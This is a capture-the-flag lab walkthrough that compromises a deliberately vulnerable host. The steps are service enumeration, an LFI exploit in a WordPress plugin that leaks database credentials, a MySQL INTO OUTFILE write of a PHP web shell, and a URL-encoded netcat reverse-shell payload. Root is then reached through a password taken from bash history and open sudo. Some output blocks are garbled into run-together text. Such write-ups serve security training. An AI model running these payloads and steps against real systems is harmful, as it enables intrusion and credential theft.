TL;DR
In this lab, we will exploit multiple misconfigurations and vulnerabilities in the system. First, we will use a Local File Inclusion (LFI) vulnerability in a WordPress plugin to extract the application’s configuration file. Using database credentials, we will write a web shell to the server via MySQL file writing. Finally, we escalate our privileges by recovering a plaintext password from a bash history file and abusing unrestricted sudo permissions.
Network Enumeration
TCP
nmap192.168.51.148−Pn−n−v−sS−−min−rate=1000PORTSTATESERVICE20/tcpclosedftp−data21/tcpopenftp22/tcpopenssh53/tcpopendomain80/tcpopenhttp139/tcpopennetbios−ssn666/tcpopendoom3306/tcpopenmysqlRunningaTCPSYN/Stealthnmapscanrevealsthatthereareseven(7)openportsforthistarget.Theabovecommandwillonlyscanforthetop1000commonports,whichcanleavealotofinformationout.It’salwaysbesttogetacomprehensiveviewonthetarget,sowecanusethe−p−flagtoscanforallopenports. nmap 192.168.51.148 -Pn -n -v -sS -T4 -p- —min-rate=1000
PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
80/tcp open http
123/tcp closed ntp
137/tcp closed netbios-ns
138/tcp closed netbios-dgm
139/tcp open netbios-ssn
666/tcp open doom
3306/tcp open mysql
12380/tcp open unknown
The above scan results show some closed ports and open ports; of course the focus will be on the open ports, which total eight (8).
With all the open ports identified, we can perform service and version detection while running default NSE scripts for enumeration.
$ nmap 192.168.51.148 -Pn -n -p21,22,53,80,139,666,3306,12380 -sCV
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.49.51
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|Can’t get directory listing: PASV failed: 550 Permission denied.
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
| 256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
| 256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp open tcpwrapped
80/tcp open http PHP cli server 5.5 or later
|http-title: 404 Not Found
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp open pkzip-file .ZIP file
| fingerprint-strings:
| NULL:
| message2.jpgUT
| QWux
| “DL[E
| #;3[
| \xf6
| u([r
| qYQq
| Y?n2
| 3&M~{
| 9-a)T
| L}AJ
| .npy.9
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
| mysql-info:
| Protocol: 10
| Version: 5.7.12-0ubuntu1
| Thread ID: 8
| Capabilities flags: 63487
| Some Capabilities: FoundRows, LongColumnFlag, ConnectWithDatabase, Support41Auth, ODBCClient, Speaks41ProtocolNew, InteractiveClient, SupportsTransactions, IgnoreSigpipes, SupportsCompression, Speaks41ProtocolOld, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, LongPassword, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: \x13X\x05YOy\x15e2AvvF\x1B]d5h]\x0C
|_ Auth Plugin Name: mysql_native_password
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn’t have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
What to take from the above scan results?
The FTP server allows anonymous access.
The SSH server has the
OpenSSH 7.2p2
version banner which allows for username enumeration. - Listening to port
666
will allow us to obtain a.zip
archive. - There is a PHP cli server running on port
80
and a web application on port12380
.
Typically, we should also move our focus to the UDP protocol as well, as there could be some connectionless services worth checking out that can help us with initial access.
However, before we scan for UDP ports, I want to mention something regarding the target and its firewall rules.
Target Blocking ICMP Requests
When port scanning with nmap
, it will default to using a host discovery method with ICMP requests and then move to the port scanning phase unless we have added the -Pn
flag, which will skip the host discovery method.
By adding the -Pn
flag, we’re telling nmap
to skip host discovery — treat the target as online — and move directly to port scanning. This can be proved by using the —packet-trace
flag.
nmap192.168.51.148−p12380−−packet−traceENT(0.0452s)ICMP[<REDACTED>>192.168.51.148Echorequest(type=8/code=0)id=46178seq=0]IP[ttl=41id=47489iplen=28]SENT(0.0453s)TCP<REDACTED>:58972>192.168.51.148:443Sttl=52id=41524iplen=44seq=613957540win=1024<mss1460>SENT(0.0453s)TCP<REDACTED>:58972>192.168.51.148:80Attl=59id=12033iplen=40seq=0win=1024SENT(0.0453s)ICMP[<REDACTED>>192.168.51.148Timestamprequest(type=13/code=0)id=22427seq=0orig=0recv=0trans=0]IP[ttl=50id=24058iplen=40]SENT(2.0473s)ICMP[<REDACTED>>192.168.51.148Timestamprequest(type=13/code=0)id=47381seq=0orig=0recv=0trans=0]IP[ttl=49id=2237iplen=40]SENT(2.0474s)TCP<REDACTED>:58974>192.168.51.148:80Attl=56id=20253iplen=40seq=0win=1024SENT(2.0474s)TCP<REDACTED>:58974>192.168.51.148:443Sttl=57id=3847iplen=44seq=614088614win=1024<mss1460>SENT(2.0474s)ICMP[<REDACTED>>192.168.51.148Echorequest(type=8/code=0)id=7078seq=0]IP[ttl=46id=27467iplen=28]Note:Hostseemsdown.Ifitisreallyup,butblockingourpingprobes,try−PnTheaboveoutputshowsthatICMPEchorequestsandICMPTimestamprequestsarebeingsenttothetargettoverifywhetheritisonlineornot.Byaddingthe−Pnflag,itskipsthisstep. nmap 192.168.51.148 -Pn -p12380 —packet-trace
NSOCK INFO [0.0230s] nsock_iod_new2(): nsock_iod_new (IOD #1)
NSOCK INFO [0.0230s] nsock_connect_udp(): UDP connection requested to 192.168.49.1:53 (IOD #1) EID 8
NSOCK INFO [0.0230s] nsock_read(): Read request from IOD #1 [192.168.49.1:53] (timeout: -1ms) EID 18
NSOCK INFO [0.0230s] nsock_write(): Write request for 45 bytes to IOD #1 EID 27 [192.168.49.1:53]
NSOCK INFO [0.0230s] nsock_trace_handler_callback(): Callback: CONNECT SUCCESS for EID 8 [192.168.49.1:53]
NSOCK INFO [0.0230s] nsock_trace_handler_callback(): Callback: WRITE SUCCESS for EID 27 [192.168.49.1:53]
NSOCK INFO [0.0240s] nsock_trace_handler_callback(): Callback: READ SUCCESS for EID 18 [192.168.49.1:53] (104 bytes)
NSOCK INFO [0.0240s] nsock_read(): Read request from IOD #1 [192.168.49.1:53] (timeout: -1ms) EID 34
NSOCK INFO [0.0240s] nsock_iod_delete(): nsock_iod_delete (IOD #1)
NSOCK INFO [0.0240s] nevent_delete(): nevent_delete on event #34 (type READ)
SENT (0.0386s) TCP :46508 > 192.168.51.148:12380 S ttl=46 id=61933 iplen=44 seq=2239105796 win=1024 <mss 1460>
RCVD (0.0389s) TCP 192.168.51.148:12380 > :46508 SA ttl=63 id=0 iplen=44 seq=947778894 win=29200 <mss 1460>
Nmap scan report for 192.168.51.148
Host is up (0.00030s latency).
PORT STATE SERVICE
12380/tcp open unknown
Using port 12380
was a demonstration to show — and prove — that the target is blocking ICMP requests.
Now that we have covered this, we can move on to the UDP protocol.
UDP
nmap192.168.51.148−Pn−n−v−sU−−min−rate=1000PORTSTATESERVICE113/udpclosedauth137/udpopennetbios−ns781/udpclosedhp−collector1036/udpclosednsstp17018/udpclosedunknown17939/udpclosedunknown19717/udpclosedunknown21083/udpclosedunknown25157/udpclosedunknownTheonlyopenUDPportisrelatedtoNetBIOS/Samba,sowecanignoretheUDPprotocolandmoveforward.Footprinting“Footprinting”istheprocessofgatheringinformationaboutatargetbyenumeratingusers,shares,andaccessibleresources;collectingversioninformation;findingconfigurationfilesandnotes;andmappingtheattacksurface.FTP ftp 192.168.51.148
Connected to 192.168.51.148.
220-
220-|-----------------------------------------------------------------------------------------|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----------------------------------------------------------------------------------------|
220-
220
Name (192.168.51.148:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r—r— 1 0 0 107 Jun 03 2016 note
226 Directory send OK.
The FTP server contains a text file called note
that we can download to our host and read for a possible clue.
ftp> get note
local: note remote: note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (107 bytes).
100% |***************************************************************************************************************************************************************************| 107 41.48 KiB/s 00:00 ETA
226 Transfer complete.
107 bytes received in 00:00 (35.73 KiB/s)
ftp> !cat note
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
Reading the note doesn’t reveal much besides a message to elly
to leave something in her FTP account. Along with that, we can see other mentions of names such as harry
and john
.
Beyond these potential usernames, there isn’t much actionable information, so we’ll move to the next service.
Samba
smbmap−uguest−p′′−d.−H192.168.51.148[∗]Detected0hostsservingSMB[∗]Closed0connectionsAlthoughsmbmapdidn’treturnanyresults,weshouldstillverifymanuallywithsmbclient. smbclient -L //192.168.51.148
Sharename Type Comment
printDiskPrinterDriverskathyDiskFred,Whatarewedoinghere?tmpDiskAlltemporaryfilesshouldbestoredhereIPC IPC IPC Service (red server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
Workgroup Master
WORKGROUP RED
The above output shows two (2) non-default shares and their associated comments. Since smbmap
didn’t return any useful results, we can use an alternative called enum4linux
which will automate multiple enumeration steps into a single execution.
enum4linux192.168.51.148[+]Attemptingtomapshareson192.168.51.148//192.168.51.148/print Mapping: DENIED Listing: N/A Writing: N/A
//192.168.51.148/kathy Mapping: OK Listing: OK Writing: N/A
//192.168.51.148/tmp Mapping: OK Listing: OK Writing: N/A
[+] Enumerating users using SID S-1-22-1 and logon username ”, password ”
S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)
[+] Enumerating users using SID S-1-5-32 and logon username ”, password ”
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
The above output indicates that we have the necessary permissions to access and list the contents of both non-default Samba shares. It also provided information about local user accounts and groups.
Based on this, we can connect to the kathy
Samba share.
smbclient//192.168.51.148/kathysmb:ls.D0FriJun316:52:522016..D0MonJun621:39:562016kathystuffD0SunJun515:02:272016backupD0SunJun515:04:14201619478204blocksofsize1024.16346096blocksavailablesmb:promptoffsmb:recurseonsmb:mget∗gettingfile\kathystuff\todo−list.txtofsize64askathystuff/todo−list.txt(62.5KiloBytes/sec)(average62.5KiloBytes/sec)gettingfile\backup\vsftpd.confofsize5961asbackup/vsftpd.conf(2910.5KiloBytes/sec)(average1961.3KiloBytes/sec)gettingfile\backup\wordpress−4.tar.gzofsize6321767asbackup/wordpress−4.tar.gz(187078.3KiloBytes/sec)(average171652.3KiloBytes/sec)smb:exit tree
.
|— backup
| |— vsftpd.conf
| |—wordpress-4.tar.gz
|— kathy_stuff
|— todo-list.txt
3 directories, 3 files
From the kathy
share, we were able to retrieve the FTP server configuration, the WordPress installation archive, and a text file for kathy
.
catkathystuff/todo−list.txtI′mmakingsuretobackupanythingimportantforInitech,KathyThetextfilementionsthatkathyhastomakesuretobackupanythingimportantforInitech.Thissuggestsournextpointofinterestisthewebapplicationrunningonport12380.WebApplicationHTTPorHTTPS whatweb 192.168.51.148:12380
http://192.168.51.148:12380/ [400 Bad Request] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.51.148], Title[Tim, we need to-do better next year for Initech], UncommonHeaders[dave], X-UA-Compatible[IE=edge]
Running whatweb
reveals a 400 Bad Request
code.
There’s a response header from Dave that seems to give a hint as to why we’re receiving a 400 Bad Request
code. We could be receiving this error because it’s expecting HTTPS instead of HTTP.
Get aw0ken’s stories in your inbox
Join Medium for free to get updates from this writer.
To verify this theory, we can use openssl
which will establish a TLS connection and check for a certified if it’s HTTPS.
$ openssl s_client -connect 192.168.51.148:12380
Connecting to 192.168.51.148
CONNECTED(00000003)
Can’t use SSL_get_servername
depth=0 C=UK, ST=Somewhere in the middle of nowhere, L=Really, what are you meant to put here?, O=Initech, OU=Pam: I give up. no idea what to put here., CN=Red.Initech, emailAddress=pam@red.localhost
verify error:num=18:self-signed certificate
verify return:1
depth=0 C=UK, ST=Somewhere in the middle of nowhere, L=Really, what are you meant to put here?, O=Initech, OU=Pam: I give up. no idea what to put here., CN=Red.Initech, emailAddress=pam@red.localhost
verify return:1
Certificate chain
0 s:C=UK, ST=Somewhere in the middle of nowhere, L=Really, what are you meant to put here?, O=Initech, OU=Pam: I give up. no idea what to put here., CN=Red.Initech, emailAddress=pam@red.localhost
i:C=UK, ST=Somewhere in the middle of nowhere, L=Really, what are you meant to put here?, O=Initech, OU=Pam: I give up. no idea what to put here., CN=Red.Initech, emailAddress=pam@red.localhost
a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
v:NotBefore: Jun 5 16:34:34 2016 GMT; NotAfter: Jun 3 16:34:34 2026 GMT
Server certificate
-----BEGIN CERTIFICATE-----
The above output confirms that it’s HTTPS and reveals some other information regarding Initech
—a name we saw in the backup note for kathy
.
WordPress Identification and Enumeration
We’ve confirmed that it is running HTTPS and visiting the root page shows us a simple message and not much else.
A common file to check manually is robots.txt
, which contains directories for web crawlers, indicating which parts of the site should not be indexed by search engines.
The robots.txt
file shows two (2) directories and the one running WordPress is the /blogblog/
directory.
Now that we found the Initech
WordPress site from kathy
, we can use wpscan
to enumerate and find any vulnerabilities for the site.
wpscan−−urlhttps://192.168.51.148:12380/blogblog/−−plugins−detectionaggressive−−disable−tls−checks[i]Plugin(s)Identified:[+]advanced−video−embed−embed−videos−or−playlists∣Location:https://192.168.68.148:12380/blogblog/wp−content/plugins/advanced−video−embed−embed−videos−or−playlists/∣LatestVersion:1.0(uptodate)∣LastUpdated:2015−10−14T13:52:00.000Z∣Readme:https://192.168.68.148:12380/blogblog/wp−content/plugins/advanced−video−embed−embed−videos−or−playlists/readme.txt∣[!]Directorylistingisenabled∣∣FoundBy:KnownLocations(AggressiveDetection)∣−https://192.168.68.148:12380/blogblog/wp−content/plugins/advanced−video−embed−embed−videos−or−playlists/,status:200∣∣Version:1.0(80∣FoundBy:Readme−StableTag(AggressiveDetection)∣−https://192.168.68.148:12380/blogblog/wp−content/plugins/advanced−video−embed−embed−videos−or−playlists/readme.txt[+]akismet∣Location:https://192.168.68.148:12380/blogblog/wp−content/plugins/akismet/∣LatestVersion:5.5∣LastUpdated:2025−07−15T18:17:00.000Z∣∣FoundBy:KnownLocations(AggressiveDetection)∣−https://192.168.68.148:12380/blogblog/wp−content/plugins/akismet/,status:403∣∣Theversioncouldnotbedetermined.[+]shortcode−ui∣Location:https://192.168.68.148:12380/blogblog/wp−content/plugins/shortcode−ui/∣LastUpdated:2019−01−16T22:56:00.000Z∣Readme:https://192.168.68.148:12380/blogblog/wp−content/plugins/shortcode−ui/readme.txt∣[!]Theversionisoutofdate,thelatestversionis0.7.4∣[!]Directorylistingisenabled∣∣FoundBy:KnownLocations(AggressiveDetection)∣−https://192.168.68.148:12380/blogblog/wp−content/plugins/shortcode−ui/,status:200∣∣Version:0.6.2(100∣FoundBy:Readme−StableTag(AggressiveDetection)∣−https://192.168.68.148:12380/blogblog/wp−content/plugins/shortcode−ui/readme.txt∣ConfirmedBy:Readme−ChangeLogSection(AggressiveDetection)∣−https://192.168.68.148:12380/blogblog/wp−content/plugins/shortcode−ui/readme.txt[+]two−factor∣Location:https://192.168.68.148:12380/blogblog/wp−content/plugins/two−factor/∣LatestVersion:0.14.1∣LastUpdated:2025−09−05T07:26:00.000Z∣Readme:https://192.168.68.148:12380/blogblog/wp−content/plugins/two−factor/readme.txt∣[!]Directorylistingisenabled∣∣FoundBy:KnownLocations(AggressiveDetection)∣−https://192.168.68.148:12380/blogblog/wp−content/plugins/two−factor/,status:200∣∣Theversioncouldnotbedetermined.TheaboveoutputshowsusalistofpluginsinstalledontheWordPresssite.Withthis,wecanusesearchsploittosearchforanyexploitsregardingtheseplugins. searchsploit WordPress Advanced Video
Exploit Title | Path
WordPress Plugin Advanced Video 1.0 - Local File Inclusion | php/webapps/39646.py
Shellcodes: No Results
searchsploit
tells us that there is an LFI (Local File Inclusion) vulnerability for the advanced-video-embed-embed-videos-or-playlists
WordPress plugin; this will allow us to locally read files on the target system via the WordPress site.
MySQL Server Credentials via LFI Vulnerability
We will encounter a problem when using the Python exploit script from searchsploit
: it requires troubleshooting due to missing imports and other errors.
A quick Google search leads us to a GitHub repository containing a fixed version. From there, we simply download, modify, and execute the script.
It’s important to understand what you’re executing on your host, so never trust scripts blindly. In simple terms, this script visits a path on the WordPress site and outputs the contents of the wp-config.php
file.
The wp-config.php
file is common when assessing WordPress sites because it contains credentials for critical services. These can include the WordPress database (MySQL), the admin dashboard, and sometimes even SSH.
python3exploit.py<SNIP>∗∗MySQLsettings−Youcangetthisinfofromyourwebhost∗∗//\n/∗∗ThenameofthedatabaseforWordPress∗/\ndefine(DˊBNAME,ˊwˊordpress)ˊ;\n\n/∗∗MySQLdatabaseusername∗/\ndefine(DˊBUSER,ˊrˊoot)ˊ;\n\n/∗∗MySQLdatabasepassword∗/\ndefine(DˊBPASSWORD,ˊ<ˊREDACTED>)ˊ;\n\n/∗∗MySQLhostname∗/\ndefine(DˊBHOST,ˊlˊocalhost)ˊ;\n\n/<SNIP>Forthiscase,ithasprovideduswiththecredentialstoconnecttotheMySQLserver.MySQLServerEnumeration mysql -u root -p -h 192.168.51.148 —skip-ssl
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| loot |
| mysql |
| performance_schema |
| phpmyadmin |
| proof |
| sys |
| wordpress |
+--------------------+
8 rows in set (0.005 sec)
MySQL [(none)]> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [wordpress]> show tables like ‘%user%’;
+------------------------------+
| Tables_in_wordpress (%user%) |
+------------------------------+
| wp_usermeta |
| wp_users |
+------------------------------+
2 rows in set (0.001 sec)
MySQL [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+-----------------------+------------------+---------------------+---------------------+-------------+-----------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+-----------------------+------------------+---------------------+---------------------+-------------+-----------------+
| 1 | John | PB7889EMq/erHIuZapMB8GEizebcIy9. | john | john@red.localhost | http://localhost | 2016-06-03 23:18:47 | | 0 | John Smith |
| 2 | Elly | PBlumbJRRBit7y50Y17.UPJ/xEgv4my0 | elly | Elly@red.localhost | | 2016-06-05 16:11:33 | | 0 | Elly Jones |
| 3 | Peter | PBTzoYuAFiBA5ixX2njL0XcLzu67sGD0 | peter | peter@red.localhost | | 2016-06-05 16:13:16 | | 0 | Peter Parker |
| 4 | barry | PBIp1ND3G70AnRAkRY41vpVypsTfZhk0 | barry | barry@red.localhost | | 2016-06-05 16:14:26 | | 0 | Barry Atkins |
| 5 | heather | PBwd0VpK8hX4aN.rZ14WDdhEIGeJgf10 | heather | heather@red.localhost | | 2016-06-05 16:18:04 | | 0 | Heather Neville |
| 6 | garry | PBzjfKAHd6N4cHKiugLX.4aLes8PxnZ1 | garry | garry@red.localhost | | 2016-06-05 16:18:23 | | 0 | garry |
| 7 | harry | PBqV.SQ6OtKhVV7k7h1wqESkMh41buR0 | harry | harry@red.localhost | | 2016-06-05 16:18:41 | | 0 | harry |
| 8 | scott | PBFmSPiDX1fChKRsytp1yp8Jo7RdHeI1 | scott | scott@red.localhost | | 2016-06-05 16:18:59 | | 0 | scott |
| 9 | kathy | PBZlxAMnC6ON.PYaurLGrhfBi6TjtcA0 | kathy | kathy@red.localhost | | 2016-06-05 16:19:14 | | 0 | kathy |
| 10 | tim | PBXDR7dLIJczwfuExJdpQqRsNf.9ueN0 | tim | tim@red.localhost | | 2016-06-05 16:19:29 | | 0 | tim |
| 11 | ZOE | PB.gMMKRP11QOdT5m1s9mstAUEDjagu1 | zoe | zoe@red.localhost | | 2016-06-05 16:19:50 | | 0 | ZOE |
| 12 | Dave | PBl7/V9Lqvu37jJT.6t4KWmY.v907Hy. | dave | dave@red.localhost | | 2016-06-05 16:20:09 | | 0 | Dave |
| 13 | Simon | PBLxdiNNRP008kOQ.jE44CjSK/7tEcz0 | simon | simon@red.localhost | | 2016-06-05 16:20:35 | | 0 | Simon |
| 14 | Abby | PByZg5mTBpKiLZ5KxhhRe/uqR.48ofs. | abby | abby@red.localhost | | 2016-06-05 16:20:53 | | 0 | Abby |
| 15 | Vicki | PB85lqQ1Wwl2SqcPOuKDvxaSwodTY131 | vicki | vicki@red.localhost | | 2016-06-05 16:21:14 | | 0 | Vicki |
| 16 | Pam | PBuLagypsIJdEuzMkf20XyS5bRm00dQ0 | pam | pam@red.localhost | | 2016-06-05 16:42:23 | | 0 | Pam |
+----+------------+------------------------------------+---------------+-----------------------+------------------+---------------------+---------------------+-------------+-----------------+
16 rows in set (0.001 sec)
The above output reveals a database called wordpress
containing a table called wp_users
, which holds user accounts and their associated password hashes.
While most of these hashes are likely crackable, doing so would be inefficient. A more direct path to achieving a shell is through the MySQL server itself.
The credentials we obtained for the MySQL server use the root
username. This strongly suggests we have elevated privileges, but it is always best practice to verify this assumption.
Low-Level Shell via MySQL Privileges
MySQL [wordpress]> show grants;
+-------------------------------------------------------------+
| Grants for root@% |
+-------------------------------------------------------------+
| GRANT ALL PRIVILEGES ON . TO ‘root’@’%’ WITH GRANT OPTION |
+-------------------------------------------------------------+
1 row in set (0.001 sec)
This confirms our initial theory: the MySQL user root
possesses all possible privileges on the server. This high level of access opens several possibilities for exploitation, the most critical being the ability to write a malicious PHP file to the server to achieve a shell.
However, this will not be as straightforward as it seems, because the WordPress site is hosted in a non-default directory. While the path /var/www/html/blogblog
is a likely candidate, we must first verify the exact installation path.
Fortunately, the LFI exploit provides a method to identify the correct WordPress root directory.
$ grep ‘POC’ exploit.py
This script is a Proof of Concept (PoC), demonstrating how to exploit the vulnerability. By setting the thumb
parameter to a non-existent file, we trigger an error message that reveals the absolute path of the WordPress installation directory on the target system.
curl 'https://192.168.51.148:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=/aw0ken.txt' -k
<br />
<b>Warning</b>: file_get_contents(/aw0ken.txt): failed to open stream: No such file or directory in <b>/var/www/https/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/inc/classes/class.avePost.php</b> on line <b>78</b><br />
https://192.168.51.148:12380/blogblog/?p=210
Intentionally triggering errors is a useful technique for revealing internal system details. In this case, it allowed us to identify the WordPress installation path: /var/www/https/blogblog
.
With this path confirmed, we can now use our MySQL root access to write a malicious PHP file to the server and obtain a shell.
MySQL [wordpress]> SELECT '<?php system(_GET[“c”]); ?>’ INTO OUTFILE ‘/var/www/https/blogblog/wp-content/uploads/web-shell.php’;
Query OK, 1 row affected (0.001 sec)
curl′https://192.168.51.148:12380/blogblog/wp−content/uploads/web−shell.php?c=id′−kuid=33(www−data)gid=33(www−data)groups=33(www−data) curl ‘https://192.168.51.148:12380/blogblog/wp-content/uploads/web-shell.php?c=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20%201234%20%3E%2Ftmp%2Ff’ -k
iduid=33(www−data)gid=33(www−data)groups=33(www−data) hostname
red.initech
We generated a reverse shell payload using a tool revshells. This payload was then URL-encoded to ensure proper transmission through the HTTPS request.
When the malicious PHP file is executed by the server, it triggers a callback to our waiting netcat listener, successfully establishing a reverse shell.
Shells
www-data and Enumeration
cd/home ls -la
total 132
drwxr-xr-x 32 root root 4096 Jun 9 2021 .
drwxr-xr-x 22 root root 4096 Jun 7 2016 ..
drwxr-xr-x 2 AParnell AParnell 4096 May 5 2021 AParnell
drwxr-xr-x 2 CCeaser CCeaser 4096 Jun 5 2016 CCeaser
drwxr-xr-x 2 CJoo CJoo 4096 May 5 2021 CJoo
drwxr-xr-x 2 DSwanger DSwanger 4096 May 5 2021 DSwanger
drwxr-xr-x 2 Drew Drew 4096 May 5 2021 Drew
drwxr-xr-x 2 ETollefson ETollefson 4096 May 5 2021 ETollefson
drwxr-xr-x 2 Eeth Eeth 4096 Jun 5 2016 Eeth
drwxr-xr-x 2 IChadwick IChadwick 4096 Jun 5 2016 IChadwick
drwxr-xr-x 2 JBare JBare 4096 May 5 2021 JBare
drwxr-xr-x 2 JKanode JKanode 4096 Jun 9 2021 JKanode
drwxr-xr-x 2 JLipps JLipps 4096 May 5 2021 JLipps
drwxr-xr-x 2 LSolum LSolum 4096 May 5 2021 LSolum
drwxr-xr-x 2 LSolum2 LSolum2 4096 Jun 5 2016 LSolum2
drwxr-xr-x 2 MBassin MBassin 4096 May 5 2021 MBassin
drwxr-xr-x 2 MFrei MFrei 4096 May 5 2021 MFrei
drwxr-xr-x 2 NATHAN NATHAN 4096 May 5 2021 NATHAN
drwxr-xr-x 2 RNunemaker RNunemaker 4096 May 5 2021 RNunemaker
drwxr-xr-x 2 SHAY SHAY 4096 May 5 2021 SHAY
drwxr-xr-x 2 SHayslett SHayslett 4096 May 5 2021 SHayslett
drwxr-xr-x 2 SStroud SStroud 4096 May 5 2021 SStroud
drwxr-xr-x 2 Sam Sam 4096 Jun 5 2016 Sam
drwxr-xr-x 2 Taylor Taylor 4096 May 5 2021 Taylor
drwxr-xr-x 2 elly elly 4096 May 5 2021 elly
drwxr-xr-x 2 jamie jamie 4096 May 5 2021 jamie
drwxr-xr-x 2 jess jess 4096 May 5 2021 jess
drwxr-xr-x 2 kai kai 4096 May 5 2021 kai
-r—r—r— 1 www-data www-data 33 Nov 5 18:41 local.txt
drwxr-xr-x 2 mel mel 4096 May 5 2021 mel
drwxr-xr-x 3 peter peter 4096 Jun 9 2021 peter
drwxrwxrwx 2 www www 4096 Jun 5 2016 www
drwxr-xr-x 3 zoe zoe 4096 May 5 2021 zoe
After navigating to the /home
directory, we found multiple user directories, which was consistent with the enum4linux
enumeration performed earlier. A significant finding was that all users had read and execute permissions for every home directory.
This misconfiguration allows us to inspect user files, such as the .bash_history
file. This file contains a history of commands executed by a user in their shell session and is a common source of sensitive information, such as passwords or other credentials.
Leaked SSH Credentials via History Files
find/home−typef−name.bashhistory−execcat2>/dev/nullexitfreeexitidwhoamils−lahpwdpsauxsshpass−p<REDACTED>sshJKanode@localhostapt−getinstallsshpasssshpass−p<REDACTED>sshpeter@localhostps−eftopkill−93747exitexitexitexitwhoamiOneofthe.bashhistoryfilesrevealedcredentialsfortwouseraccounts:JKanodeandpeter.Upontesting,onlythecredentialsfortheuserpeterwerevalid.Peter ssh peter@192.168.51.148
red% id
uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
red% hostname
red.initech
We can see that the user peter
is a member of the sudo
group, indicating potential sudo privileges. To confirm the extent of these privileges, we can use the following command:
red% sudo -l
Matching Defaults entries for peter on red:
lecture=always, env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User peter may run the following commands on red:
(ALL : ALL) ALL
The sudo -l
output confirms our theory: the user peter
can run any command as any user. We can escalate privileges by switching to the root user using sudo su
.
~ id
uid=0(root) gid=0(root) groups=0(root)
~ hostname
red.initech
Just like that, this lab has aw0ken.